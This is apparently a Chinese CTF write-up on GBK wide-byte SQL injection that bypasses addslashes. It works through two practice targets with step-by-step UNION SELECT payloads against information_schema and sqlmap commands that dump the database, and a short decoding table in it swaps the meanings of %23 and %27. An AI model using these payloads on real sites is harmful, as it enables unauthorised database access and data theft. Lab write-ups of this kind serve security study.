时间:2021-07-01 10:21:17 帮助过:32人阅读
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。
%DF’ :会被PHP当中的addslashes函数转义为“%DF\‘” ,“\”既URL里的“%5C”,那么也就是说,“%DF‘”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
其对应的sql就是:
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
URLdecode解码
%23: ’
%27: #
例题:
靶机:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
先尝试单引号?id=1’ ?id=1%27,页面输出为:
引号被转义了,在前面加了一个 \ 符号
尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了
构造:?id=1%df%27
报错
再构造:?id=1%df%df%23
查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字
开始爆数据库:
?id=1%df%27 order by 2#
列数得知 2列。
爆库:
?id=-1%df%27 union select 1,database()%23
数据库:sae-chinalover
爆列表:
?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23
爆出这些表:
ctf,ctf2,ctf3,ctf4,gbksqli,news
爆字段:
?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
id flag
查询关键字:
?id=-1%df%27 union select 1,flag from ctf4%23
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --dbs
跑出库
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover --columns
跑字段:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -C flag --dump
跑出flag
例2:
靶机:安全实验室注入关3
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php
?id=1%df%27 报错
?id=1%df%df%23 页面正常
爆列数
?id=1%df%27 order by 3%23
?id=1%df%27 order by 4%23
发现只有三列:
爆数据库名:
?id=1%df%27 union select 1,2,database()%23
库名:mydbs
爆表名:
?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23
发现报错。。。可能存在过滤
那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,有个网址转错了。。浪费我好多时间)
?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23
得出表名:sae_user_sqli4
爆字段:
sae_user_sqli4 ->7361655f757365725f73716c6934
?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23
得出三个字段:id,title_1,content_1
爆关键字:
?id=1%df%27 union select 1,group_concat(id),group_concat(content_1) from
sae_user_sqli4%23
得到flag
CTF—WEB—sql注入之宽字节注入
标签:lag htm use pass lov 添加 china appdata 16进制